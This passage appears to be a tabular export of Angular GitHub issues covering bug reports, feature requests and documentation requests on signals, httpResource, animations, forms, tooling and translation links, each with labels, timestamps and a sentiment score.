The Angular CLI and TypeScript should be able to resolve imports from @angular/common/http (or the new .msj format should be documented and supported out of the box).

Actual behavior:
Builds fail with ""Cannot find module '@angular/common/http'"" errors.

Additional info:

This h... [TRUNCATED]","area: common/http,gemini-triaged",2026-03-09 12:08:41+00:00,2026-03-09 12:18:11+00:00,2,"area: common/http,gemini-triaged",0.0066,http common folder disappeared which angular package s are the source of the bug common is this a regression no description x powershell hidden terminal chat prerendering implementation inquiry here is a template you can use to report this issue to the angular team title angular v packages missing angular common http directory only msj files present causing cannot find module angular common http errors description after installing any angular v x x version the common package does not contain the traditional http directory instead it contains files like http msj my project and the angular cli v cannot resolve imports from angular common http resulting in errors like cannot find module angular common http or its corresponding type declarations environment node js v npm angular cli also tested etc typescript os windows x create a new angular project or update to v x x run npm install check common the http directory is missing only http msj is present attempt to import from angular common http in your code build or prerender you get module not found errors the angular cli and typescript should be able to resolve imports from angular common http or the new msj format should be documented and supported out of the box builds fail with cannot find module angular common http errors additional info this h truncated,others,-0.9425
angular/angular,4044470359,feat: Add Hydration Perf Counters to public API,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

<img width=""1208"" height=""528"" alt=""Image"" src=""https://github.com/user-attachments/assets/6683f320-70fb-453a-b421-50db1c9e60b3"" />



### Proposed solution

Having these data available also on production would help track hydration issues easier. 
While what we have now are just counters, adding more data that we can use would be great (like which views were removed, what components etc.)

```ts
provideClientHydration(
  withHydrationDebugData() 
)
```

### Alternatives considered

- ","area: core,gemini-triaged",2026-03-09 09:34:43+00:00,2026-03-18 16:49:35+00:00,3,"area: core,gemini-triaged",9.302,add hydration perf counters to public api which angular package s are relevant related to the feature request no response description proposed solution having these data available also on production would help track hydration issues easier while what we have now are just counters adding more data that we can use would be great like which views were removed what components etc alternatives considered,feature,0.9042
angular/angular,4038274852,docs(docs-infra): add Turkish community translation link,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

I noticed that community translations of the Angular documentation have been growing, which is great to see. Making documentation available in different languages helps more developers learn and adopt Angular.

To contribute to this effort, I started a community-driven Turkish translation to make Angular more accessible for Turkish-speaking developers.

Website: https://angular-docs.tr/
Repository: https://github.com/erkamyaman/angular-tr

I plan to actively maintain the translation and keep it aligned with the official documentation. I also hope to receive support from the Turkish Angular community so that, together, we can improve and expand the translation over time.

### Proposed solution

Add the Turkish translation link to the ""Community translations""
section in the Angular documentation footer (angular.dev).

This would allow Turkish-speaking developers to easily discover
the community-maintained Turkish Angular documentation.

### Alternatives considered

None.","area: docs-infra,gemini-triaged",2026-03-07 11:29:41+00:00,2026-03-09 18:31:00+00:00,1,"area: docs-infra,gemini-triaged",2.2926,docs docs infra add turkish community translation link which angular package s are relevant related to the feature request no response description i noticed that community translations of the angular documentation have been growing which is great to see making documentation available in different languages helps more developers learn and adopt angular to contribute to this effort i started a community driven turkish translation to make angular more accessible for turkish speaking developers website repository i plan to actively maintain the translation and keep it aligned with the official documentation i also hope to receive support from the turkish angular community so that together we can improve and expand the translation over time proposed solution add the turkish translation link to the community translations section in the angular documentation footer angular dev this would allow turkish speaking developers to easily discover the community maintained turkish angular documentation alternatives considered none,documentation,0.9738
angular/angular,4035822191,provideZoneChangeDetection necessary if you want to use zone.js,"### Describe the problem that you experienced

In the documentation about provideZoneChangeDetection you can read the following statement ""[NgZone](https://angular.dev/api/core/NgZone) is already provided in applications by default. This provider allows you to configure options like eventCoalescing in the [NgZone](https://angular.dev/api/core/NgZone)."".
This sounds to me like is not strictly required since it's provided by default. But in Angular 21 you need to provide it in the root providers if you want to use zone.js.

### Enter the URL of the topic with the problem

https://angular.dev/api/core/provideZoneChangeDetection

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,help wanted",2026-03-06 19:33:09+00:00,2026-03-10 17:21:10+00:00,2,"area: docs,help wanted",3.9083,providezonechangedetection necessary if you want to use zone js describe the problem that you experienced in the documentation about providezonechangedetection you can read the following statement ngzone is already provided in applications by default this provider allows you to configure options like eventcoalescing in the ngzone this sounds to me like is not strictly required since it s provided by default but in angular you need to provide it in the root providers if you want to use zone js enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9692
angular/angular,4035251967,"httpResource.reload() not works if httpResource.status is ""idle""","### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No

### Description

If the callback returns `undefined` to cancel the request, the status becomes `idle`, preventing a manual call to `reload()`.
How can I cancel the request without changing the status to `idle`?
Or is there a way to reset the `status`?

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0
Angular           : 21.2.0
Node.js           : 24.8.0
Package Manager   : npm 11.6.0
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.0            │ 21.2.0            │
│ @angular/cdk              │ 21.2.0            │ 21.2.0            │
│ @angular/cli              │ 21.2.0            │ 21.2.0            │
│ @angular/common           │ 21.2.0            │ 21.2.0            │
│ @angular/compiler         │ 21.2.0            │ 21.2.0            │
│ @angular/compiler-cli     │ 21.2.0            │ 21.2.0            │
│ @angular/core             │ 21.2.0            │ 21.2.0            │
│ @angular/forms            │ 21.2.0            │ 21.2.0            │
│... [TRUNCATED]","area: common/http,cross-cutting: resource,gemini-triaged",2026-03-06 17:10:45+00:00,2026-03-25 17:46:07+00:00,10,"area: common/http,cross-cutting: resource,gemini-triaged",19.0246,httpresource reload not works if httpresource status is idle which angular package s are the source of the bug common is this a regression no description if the callback returns to cancel the request the status becomes preventing a manual call to how can i cancel the request without changing the status to or is there a way to reset the please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm win x package installed version requested version angular build angular cdk angular cli angular common angular compiler angular compiler cli angular core angular forms truncated,others,-0.7184
angular/angular,4029977767,Make `@defer (on viewport)` configurable via DI,"
`@defer (on idle)` recently added a DI extension point by introducing an `IdleService` interface and letting apps override it via the `provideIdleServiceWith`. In https://github.com/angular/angular/pull/67262

It would be useful to offer the same for `@defer (on viewport)` by allowing applications to provide a custom viewport observer implementation.


### Proposed solution

We could implement something like `provideViewportObserverServiceWith`, allowing `ViewportObserverService` to be customized by users. This would make it possible to configure `IntersectionObserverOptions` or use experimental options like [`delay`](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API#delay) without requiring major changes to the internals of the framework.



 I would be happy to open a PR with the implementation","area: core,gemini-triaged",2026-03-05 18:48:33+00:00,2026-03-05 18:52:33+00:00,3,"area: core,gemini-triaged",0.0028,make configurable via di recently added a di extension point by introducing an interface and letting apps override it via the in it would be useful to offer the same for by allowing applications to provide a custom viewport observer implementation proposed solution we could implement something like allowing to be customized by users this would make it possible to configure or use experimental options like without requiring major changes to the internals of the framework i would be happy to open a pr with the implementation,others,0.9169
angular/angular,4025173201,PR #62284 (commit 3c008c9) introduced an O(N²) performance regression for computed signals that depend on many producers.,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

**PR [#62284](https://github.com/angular/angular/pull/62284) (commit [3c008c9](https://github.com/angular/angular/commit/3c008c92635bc80d2942b53a318d3cb10975882a)) introduced an O(N²) performance regression for computed signals that depend on many producers.**

The refactor from arrays to linked lists in the reactive graph (`producerNode[]` → `producers`/`producersTail` linked list) introduced a function `isValidLink()` that performs a **linear scan** of the entire producer linked list every time a previously-tracked signal is re-read during a recomputation.

In Angular v19 (arrays), re-reading an already-tracked producer was O(1) via indexed array access. In v20+ (linked lists), `isValidLink()` walks from `consumer.producers` (head) through the chain to find `checkLink`, making each re-read O(K) where K is the position in the list. This compounds to O(N²) for N producers.

#### The problematic code path

In `producerAccessed()`:

```typescript
const prevConsumerLink = node.consumersTail;
if (
  prevConsumerLink !== undefined &&
  prevConsumerLink.consumer === activeConsumer &&
  (!isRecomputing || isValidLink(prevConsumerLink, activeConsumer)) // ← O(N) scan
) {
  return;
}
```

`isValidLink()` walks the entire linked list from head to tail:

```typescript
function isValidLink(checkLink, consumer) {
  const producersTail = consumer.producersTail;
  if (producers... [TRUNCATED]","area: performance,regression,area: core,state: has PR,cross-cutting: signals",2026-03-05 01:49:07+00:00,2026-06-17 18:38:07+00:00,2,"area: performance,regression,area: core,state: has PR,cross-cutting: signals",104.7007,pr commit c c introduced an o n performance regression for computed signals that depend on many producers which angular package s are the source of the bug core is this a regression yes description pr commit c c introduced an o n performance regression for computed signals that depend on many producers the refactor from arrays to linked lists in the reactive graph linked list introduced a function that performs a linear scan of the entire producer linked list every time a previously tracked signal is re read during a recomputation in angular v arrays re reading an already tracked producer was o via indexed array access in v linked lists walks from head through the chain to find making each re read o k where k is the position in the list this compounds to o n for n producers the problematic code path in walks the entire linked list from head to tail typescript function isvalidlink checklink consumer const producerstail consumer producerstail if producers truncated,bug,0.0516
angular/angular,4023377968,Reactivity of httpResource can work in an unintuitive way,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

The way httpResource's reactivity is implemented can lead to unintentional reloads.

For example:

```ts
interface Product {
  id: number;
  hasData: boolean;
  description: string;
}

@Component({
  imports: [ChildComponent, FormsModule],
  template: `
    <div>
      <label>Description</label>
      <input type=""text"" [(ngModel)]=""description"">
    </div>
    <app-child-component [product]=""product()"">
  `
})
class HostComponent {
  product = signal<Product>({id: 1, hasData: true, description: ''});
  description = linkedSignal(() => this.product().description);
  constructor() {
    effect(() => {
      const description = this.description();
      const product = untracked(this.product);
      if (product.description !== description) {
        this.product.set({...product, description});
      }
    });
  }
}

@Component({ selector: 'app-child-component' })
class ChildComponent {
  product = input.required<Product>();
  productData = httpResource(() => `/api/product-data/${this.product().id}`);
}
```

For every letter typed in the HostComponent, the child component's httpResource will fire a new HTTP Request, even though the resource requested is the exact same every single time.

This is because currently httpResource reloads whenever any signal value used inside of the urlFn is updated.


### Proposed solution

I think the urlFn should automatically be converted into a c... [TRUNCATED]","area: core,gemini-triaged",2026-03-04 18:11:05+00:00,2026-03-04 20:54:37+00:00,2,"area: core,gemini-triaged",0.1136,reactivity of httpresource can work in an unintuitive way which angular package s are relevant related to the feature request core description the way httpresource s reactivity is implemented can lead to unintentional reloads for example for every letter typed in the hostcomponent the child component s httpresource will fire a new http request even though the resource requested is the exact same every single time this is because currently httpresource reloads whenever any signal value used inside of the urlfn is updated proposed solution i think the urlfn should automatically be converted into a c truncated,others,0.3182
angular/angular,4021608024,Generic Typing on viewchilds read is lost,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

When using viewchild and specifing a the type of ElementRef that is read, the type information is somehow not available in the resulting value:
```ts
private div = viewChild.required('div', {read: ElementRef<HTMLDivElement>});
```

Result:
<img width=""991"" height=""145"" alt=""Image"" src=""https://github.com/user-attachments/assets/6b8f1b36-9dbb-46cd-a4fa-5d3719853039"" />

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/vzmca4bx?file=src%2Fmain.ts

","area: core,gemini-triaged",2026-03-04 11:51:19+00:00,2026-03-04 11:55:09+00:00,2,"area: core,gemini-triaged",0.0027,generic typing on viewchilds read is lost which angular package s are the source of the bug core is this a regression yes description when using viewchild and specifing a the type of elementref that is read the type information is somehow not available in the resulting value result please provide a link to a of the bug,others,-0.2263
angular/angular,4019658437,Angular v20.3.17/v19.2.19 tagged on GitHub but not published to npm,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

The v20.3.17 security release was tagged on GitHub but not published to the npm registry, preventing Angular 20.x users from receiving the fix for CVE-2026-27970 (XSS via i18n ICU messages).

**Evidence:**
GitHub release exists: https://github.com/angular/angular/releases/tag/v20.3.17 (published ~Feb 26, 2026)- npm view @angular/core@20.3.17 returns no results — the version does not exist on the npm registry- The latest npm dist-tag for @angular/core still points to 20.3.0- The same security fix was correctly published for v19.2.19 (npm legacy tag) and v21.1.6 / v21.2.0 (npm latest tag)

**Impact:**
Users on Angular 20.x who cannot upgrade to 21.x are unable to remediate CVE-2026-27970, CVE-2025-66412, and the @angular/common XSRF vulnerability through normal npm install or npm ci workflows. Security scanning tools (Snyk, npm audit) recommend upgrading to 20.3.17, but the version is unavailable.

**Expected behavior:**
All patch versions tagged on GitHub (v20.3.14, v20.3.15, v20.3.17) should be published to the npm registry for @angular/core, @angular/common, @angular/compiler, and all other @angular/* packages included in those releases.

### Please provide a link to a minimal reproduction of the bug

https://www.npmjs.com/package/@angular/core?activeTab=versions Please provide the exception or error you saw:

### Please provide the exception or error you saw

``... [TRUNCATED]","area: core,gemini-triaged",2026-03-04 02:19:38+00:00,2026-03-04 02:24:33+00:00,2,"area: core,gemini-triaged",0.0034,angular v v tagged on github but not published to npm which angular package s are the source of the bug core is this a regression no description the v security release was tagged on github but not published to the npm registry preventing angular x users from receiving the fix for cve xss via i n icu messages evidence github release exists published feb npm view angular core returns no results the version does not exist on the npm registry the latest npm dist tag for angular core still points to the same security fix was correctly published for v npm legacy tag and v v npm latest tag impact users on angular x who cannot upgrade to x are unable to remediate cve cve and the angular common xsrf vulnerability through normal npm install or npm ci workflows security scanning tools snyk npm audit recommend upgrading to but the version is unavailable all patch versions tagged on github v v v should be published to the npm registry for angular core angular common angular compiler and all other angular packages included in those releases please provide a link to a of the bug please provide the exception or error you saw please provide the exception or error you saw truncated,others,0.4215
angular/angular,4018454827,Missing Step in Tutorial,"### Describe the problem that you experienced

I am new to Angular and followed the ""Learn Angular Signals"" Tutorial. I noticed step 3 requires to connect parent signals to child inputs, eventough the parent signals are not added yet and 'signal' not imported to the parent component. I believe an in-between step is missing.

### Enter the URL of the topic with the problem

https://angular.dev/tutorials/signals/5-component-communication-with-signals

### Describe what you were looking for in the documentation

import signals to `app.ts` and add parent signals  `productName = signal('Demo Product'); productPrice = signal(99); productAvailable = signal(true);` 

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,gemini-triaged",2026-03-03 20:01:06+00:00,2026-03-11 14:24:15+00:00,2,"area: docs,gemini-triaged",7.7661,missing step in tutorial describe the problem that you experienced i am new to angular and followed the learn angular signals tutorial i noticed step requires to connect parent signals to child inputs eventough the parent signals are not added yet and signal not imported to the parent component i believe an in between step is missing enter the url of the topic with the problem describe what you were looking for in the documentation import signals to and add parent signals describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.9633
angular/angular,4018164540,VS Code extension template checking functions as if typescript strict mode is enabled,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

Recently (I'm assuming since version 21.2 of the vscode extension, but it could have been when Angular itself was updated to 21.2 or thereabouts), I've started seeing type errors in templates getting flagged **in the IDE only** due to errors related to types not including null when using the safe navigation operator, as I would expect if strictNullChecks=true or strict=true was enabled in tsconfig.  However, for my projects we have not enabled strict mode yet, for better or for worse.  The default if nothing is specified for ""strict"" or ""strictNullChecks"" in Typescript 5.9 and lower is supposed to be as if strict mode was disabled, but it is currently being interpreted as if strict mode is enabled (or at least strictNullChecks=true).  ""strictTemplates"" is on in my tsconfig and has been for years.  I did recently remove ""fullTemplateTypeChecks"" because it is redundant to ""strictTemplates"", but whether I specify that or not seems to make no difference for this bug.

Actually compiling the application works as expected, with these sorts of template issues not being flagged.  Only the IDE is showing them as errors.  If I set either strict to ""false"" or strictNullChecks to ""false"", the IDE does not flag these errors, so it seems highly likely to be related to interpretation of defaults from tsconfig.  (Perhaps this is related to the typescript 6 initial... [TRUNCATED]","area: vscode-extension,gemini-triaged",2026-03-03 18:36:22+00:00,2026-03-04 20:43:31+00:00,11,"area: vscode-extension,gemini-triaged",1.0883,vs code extension template checking functions as if typescript strict mode is enabled which angular package s are the source of the bug don t known other is this a regression yes description recently i m assuming since version of the vscode extension but it could have been when angular itself was updated to or thereabouts i ve started seeing type errors in templates getting flagged in the ide only due to errors related to types not including null when using the safe navigation operator as i would expect if strictnullchecks true or strict true was enabled in tsconfig however for my projects we have not enabled strict mode yet for better or for worse the default if nothing is specified for strict or strictnullchecks in typescript and lower is supposed to be as if strict mode was disabled but it is currently being interpreted as if strict mode is enabled or at least strictnullchecks true stricttemplates is on in my tsconfig and has been for years i did recently remove fulltemplatetypechecks because it is redundant to stricttemplates but whether i specify that or not seems to make no difference for this bug actually compiling the application works as expected with these sorts of template issues not being flagged only the ide is showing them as errors if i set either strict to false or strictnullchecks to false the ide does not flag these errors so it seems highly likely to be related to interpretation of defaults from tsconfig perhaps this is related to the typescript initial truncated,others,-0.7579
angular/angular,4015918405,@switch exhaustiveness does not work for @for loop nad @if variables,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

Summary
`@switch` exhaustiveness checks do not work when switching on a variable introduced by `@for` or `@if`.

Example

```html
@for (nested of nesteds; track nested) {
  @switch (nested.type) { 
    @case ('alpha') { 
      <span>{{ nested.alpha }}</span> 
    } 
    @case ('beta') { 
      <span>{{ nested.beta }}</span> 
    } 
    @default never; 
  }
}

@if (optional.maybe; as union) {
  @switch (union.type) { 
    @case ('alpha') { 
      <span>{{ union.alpha }}</span> 
    } 
    @case ('beta') { 
      <span>{{ union.beta }}</span> 
    }
    @default never; 
  }
}
```

Expected behavior
`@switch` exhaustiveness should work for `@for` loop / `@if` variables (including their discriminant fields), the same way it works for direct const references, when the switched value is a finite/discriminated union.

Actual behavior
The compilator reports an error.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-4ticm6ar

### Please provide the exception or error you saw

```true
✘ [ERROR] TS2322: Type 'any' is not assignable to type 'never'. [plugin angular-compiler]

✘ [ERROR] TS2339: Property 'kind' does not exist on type 'never'. [plugin angular-compiler]
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
_                      _                 ____ _   ... [TRUNCATED]",area: compiler,2026-03-03 10:32:34+00:00,2026-03-24 21:42:30+00:00,11,area: compiler,21.4652,switch exhaustiveness does not work for for loop nad if variables which angular package s are the source of the bug compiler is this a regression no description summary exhaustiveness checks do not work when switching on a variable introduced by or example exhaustiveness should work for loop variables including their discriminant fields the same way it works for direct const references when the switched value is a finite discriminated union the compilator reports an error please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true truncated,others,-0.886
angular/angular,4013628932,"In some cases, the `animate.leave` animations leave a component in the DOM.","### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

Yes

### Description

With Angular 21.2.0 it seems that something broke with the CSS animations. To make thinks simple I created a directive to add animations to html elements. This directive uses `animate.leave`. 

Starting from version 21.2.0, it seems that components are not removed after they animate on ""leave"" when routing away from an component. See the stackblitz below. It mini project has 2 routes with components. And 2 links that switch between the two routes.

I think it is related to https://github.com/angular/angular/pull/67032

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-htmhdsyu

If you click on `first`, then `second`, you will notice that the new component showing ""TEST"" appears, but the old component (green square) stays and is not removed from the DOM. 

Clicking on `first` again, will show another (duplicate) component (green square).

### Please provide the exception or error you saw
```true
Components not being removed.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0
Angular           : 21.2.0
Node.js           : 24.13.0
Package Manager   : npm 11.6.2
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requ... [TRUNCATED]","area: core,state: has PR,core: animations",2026-03-02 22:29:01+00:00,2026-03-04 16:21:40+00:00,9,"area: core,state: has PR,core: animations",1.7449,in some cases the animations leave a component in the dom which angular package s are the source of the bug animations is this a regression yes description with angular it seems that something broke with the css animations to make thinks simple i created a directive to add animations to html elements this directive uses starting from version it seems that components are not removed after they animate on leave when routing away from an component see the stackblitz below it mini project has routes with components and links that switch between the two routes i think it is related to please provide a link to a of the bug if you click on then you will notice that the new component showing test appears but the old component green square stays and is not removed from the dom clicking on again will show another duplicate component green square please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm win x package installed version requ truncated,others,0.6908
angular/angular,4011680805,Invalid errors displayed in template,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

After updating to 21.2.0 i got a lot of issues from Template type-checking diagnostics. Some of them are valid, and some of them - not. For example:
I'm definitely checking for the prop to exist
<img width=""417"" height=""131"" alt=""Image"" src=""https://github.com/user-attachments/assets/6cda4393-5c12-491a-8f99-d565bc09b5cd"" />

But still get the error
<img width=""937"" height=""202"" alt=""Image"" src=""https://github.com/user-attachments/assets/0ddae0d6-738c-4bf4-8887-83de14d9cb88"" />

 

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

The error should not be displayed if i did the check before

### Please provide a screenshot if possible [Bug Report only]

_No response_

### Please provide the exception or error you saw [Bug Report only]

```true

```

### Description [Feature Request only]

_No response_

### Proposed solution [Feature Request only]

_No response_

### Alternatives considered [Feature Request only]

_No response_","area: compiler,gemini-triaged",2026-03-02 14:50:03+00:00,2026-03-02 14:52:43+00:00,2,"area: compiler,gemini-triaged",0.0019,invalid errors displayed in template x bug report feature request please provide the the issue bug report only after updating to i got a lot of issues from template type checking diagnostics some of them are valid and some of them not for example i m definitely checking for the prop to exist but still get the error please provide the vs the you encountered bug report only the error should not be displayed if i did the check before please provide a screenshot if possible bug report only no response please provide the exception or error you saw bug report only description feature request only no response proposed solution feature request only no response alternatives considered feature request only no response,bug,-0.9819
angular/angular,4011431233,Using TestBed.overrideComponent to mock dependencies breaks code coverage,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

We mock the dependencies of our standalone components using TestBed.overrideComponent with vitest and v8-coverage.

As soon as we do this, the HTML coverage drops. It's as if the coverage provider thinks that the component is not being used at all because it's not the ""real"" component anymore, but an overriden version.

In the attached example repo (minimal reproduction), coverage is 100% when not using TestBed.overrideComponent:


```typescript
  it('should create the app', async () => {
    TestBed.configureTestingModule({
      imports: [App],
    });
    const fixture = TestBed.createComponent(App);
    await fixture.whenStable();
    const app = fixture.componentInstance;
    expect(app).toBeTruthy();
  });
```

<img width=""556"" height=""185"" alt=""Image"" src=""https://github.com/user-attachments/assets/fcc5ce2e-e257-4cfc-b963-7512623e4236"" />

After overriding the component to mock the child:

```typescript
  it('should still provide all code coverage', async () => {
    TestBed.configureTestingModule({
      imports: [App],
    }).overrideComponent(App, {
      set: {
        imports: [MockAppChild],
      },
    });

    const fixture = TestBed.createComponent(App);
    await fixture.whenStable();
    const app = fixture.componentInstance;
    expect(app).toBeTruthy();
  });
```
<img width=""537"" height=""186"" alt=""Image"" src=""https://github.com/... [TRUNCATED]","area: testing,gemini-triaged",2026-03-02 13:57:47+00:00,2026-03-02 13:59:36+00:00,2,"area: testing,gemini-triaged",0.0013,using testbed overridecomponent to mock dependencies breaks code coverage which angular package s are the source of the bug don t known other is this a regression no description we mock the dependencies of our standalone components using testbed overridecomponent with vitest and v coverage as soon as we do this the html coverage drops it s as if the coverage provider thinks that the component is not being used at all because it s not the real component anymore but an overriden version in the attached example repo coverage is when not using testbed overridecomponent after overriding the component to mock the child img width height alt image src truncated,others,-0.8442
angular/angular,4010543929,background-color in Side Navigation is not proper for - rc and next versions,"### Describe the problem that you experienced

Hello !

I have noticed one minor bug which is related to Side Navigation Bar, Where when i switch documentation for either rc or next versions. 

The contents in side navigation bar are not readable because of light background gradient.
Anything with a dark overly will be able to solve the issue.

### Enter the URL of the topic with the problem

https://next.angular.dev/

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

Adding a dark overlay without disturbing the backdround gradient would be fine as it will differeniate both rc and next documentation keeping content to be more readable.

Here is my fix 

**_Dark Mode_**
<img width=""1728"" height=""895"" alt=""Image"" src=""https://github.com/user-attachments/assets/3a5da43b-65e4-47ca-804c-181070be590d"" />

**_Light Mode_**
<img width=""1728"" height=""913"" alt=""Image"" src=""https://github.com/user-attachments/assets/f1e208ae-ee0c-4f32-b143-bce5d9a40a48"" />

Open for suggestions and feedback.

### Add a screenshot if that helps illustrate the problem

**_Dark Mode_**
<img width=""3536"" height=""1895"" alt=""Image"" src=""https://github.com/user-attachments/assets/9294848d-fc6d-4749-a129-d4253ba387de"" />

**_Light Mode_**
<img width=""3733"" height=""1900"" alt=""Image"" src=""https://github.com/user-attachments/assets/53b736cf-b... [TRUNCATED]","area: docs-infra,gemini-triaged",2026-03-02 10:40:46+00:00,2026-03-07 20:30:10+00:00,2,"area: docs-infra,gemini-triaged",5.4093,background color in side navigation is not proper for rc and next versions describe the problem that you experienced hello i have noticed one minor bug which is related to side navigation bar where when i switch documentation for either rc or next versions the contents in side navigation bar are not readable because of light background gradient anything with a dark overly will be able to solve the issue enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem adding a dark overlay without disturbing the backdround gradient would be fine as it will differeniate both rc and next documentation keeping content to be more readable here is my fix dark mode light mode open for suggestions and feedback add a screenshot if that helps illustrate the problem dark mode light mode img width height alt image src truncated,documentation,-0.7716
angular/angular,4004469771,Importing UpgradeModule gives multiple angular zones,"### Which @angular/* package(s) are the source of the bug?

upgrade

### Is this a regression?

Yes

### Description

When you import `UpgradeModule` in a zone-based application it will result in multiple angular zones being created.

This causes issues with APIs like `NgZone.runOutsideAngular()` as it makes the assumption that the outer zone is not the angular zone (which it can be if there are multiple angular zones). See the minimal reproduction.

### Please provide a link to a minimal reproduction of the bug

https://github.com/HazzMan2409/multiple-ng-zone

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0
Angular           : 21.2.0
Node.js           : 22.17.1
Package Manager   : npm 10.9.2
Operating System  : darwin arm64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.0            │ ^21.2.0           │
│ @angular/cli              │ 21.2.0            │ ^21.2.0           │
│ @angular/common           │ 21.2.0            │ ^21.2.0           │
│ @angular/compiler         │ 21.2.0            │ ^21.2.0           │
│ @angular/compiler-cli     │ 21.2.0            │ ^21.2.0           │
│ @angular/core             │ 21.2.0            │ ^21.2.0           │
│ @angular/forms            │ 21.2.0            │ ^21.2.0        ... [TRUNCATED]","area: upgrade,gemini-triaged",2026-02-28 11:06:50+00:00,2026-02-28 14:09:33+00:00,4,"area: upgrade,gemini-triaged",0.1269,importing upgrademodule gives multiple angular zones which angular package s are the source of the bug upgrade is this a regression yes description when you import in a zone based application it will result in multiple angular zones being created this causes issues with apis like as it makes the assumption that the outer zone is not the angular zone which it can be if there are multiple angular zones see the please provide a link to a of the bug please provide the environment you discovered this bug in run true angular cli angular node js package manager npm darwin arm package installed version requested version angular build angular cli angular common angular compiler angular compiler cli angular core angular forms truncated,others,0.5574
angular/angular,4004347028,submit() + FormRoot throws NG01915 runtime error,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Using `submit()` and `[formRoot]` in signal forms throws a runtime error:

```ts
import { Component, signal } from '@angular/core';
import { form, FormField, FormRoot, submit } from '@angular/forms/signals';

@Component({
  selector: 'app-root',
  imports: [FormRoot, FormField],
  template: `
    <form [formRoot]=""form"" (submit)=""save()"">
      <label>
        Name:
        <input type=""text"" [formField]=""form.name"" />
      </label>
      <button type=""submit"">Save</button>
    </form>
  `,
})
export class App {
  private readonly formModel = signal({ name: '' });
  protected readonly form = form(this.formModel);

  protected save(): void {
    // runtime error
    submit(this.form, () => Promise.resolve());
  }
}
```

results in runtime error:

```
ERROR RuntimeError: NG01915: Cannot submit form with no submit action. Specify the action when creating the form, or as an additional argument to `submit()`.
```

I indicated a repository with reproduction steps below.

It is because `FormRoot` calls `submit()` internally, without action ([code here](https://github.com/angular/angular/blob/73b6135bf51622e82ba624493317276500af8f78/packages/forms/signals/src/directive/ng_signal_form.ts#L45)).

It means that if using manual `submit()`, it is not possible to use the benefits of `FormRoot` (`novalidate` + `event.preventDefault()`).

Proposed solution below in [this commen... [TRUNCATED]","area: forms,area: docs,forms: signals",2026-02-28 10:01:19+00:00,2026-03-23 22:41:23+00:00,11,"area: forms,area: docs,forms: signals",23.5278,submit formroot throws ng runtime error which angular package s are the source of the bug forms is this a regression no description using and in signal forms throws a runtime error results in runtime error i indicated a repository with reproduction steps below it is because calls internally without action code here it means that if using manual it is not possible to use the benefits of proposed solution below in this commen truncated,bug,-0.8519
angular/angular,4000367283,Feature request: Add Azerbaijani localization reference (angular.az),"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Hello,

I have contributed to translating and publishing an Azerbaijani localization of Angular resources.

As suggested, I am sharing the link to the Azerbaijani community translation below for your reference:
Azərbaycan: https://angular.az/

This initiative aims to make Angular more accessible to the Azerbaijani developer community.

Thank you.

Best regards,
